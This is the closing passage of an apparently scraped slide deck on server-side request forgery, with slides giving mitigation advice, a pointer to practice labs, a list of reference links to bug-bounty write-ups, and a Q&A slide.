  • 19. MITIGATION Avoid user input that can make requests on behalf of the server. 1 Sanitize and filter user input. 2 Use whitelist of allowed domains and protocols 3
  • 20. Where you can practise and learn SSRF? o https://portswigger.net/web- security/ssrf
  • 21. Reference Links  https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-testing-b9dfe57cca35  https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/  https://hackerone.com/reports/115748  https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html  https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/  https://medium.com/@androgaming1912/gain-adfly-smtp-access-with-ssrf-via-gopher-protocol- 26a26d0ec2cb  https://medium.com/@armaanpathan/pdfreacter-ssrf-to-root-level-local-file-read-which-led-to-rce- eb460ffb3129  https://www.youtube.com/watch?v=D1S-G8rJrEk
  • 23. Q & A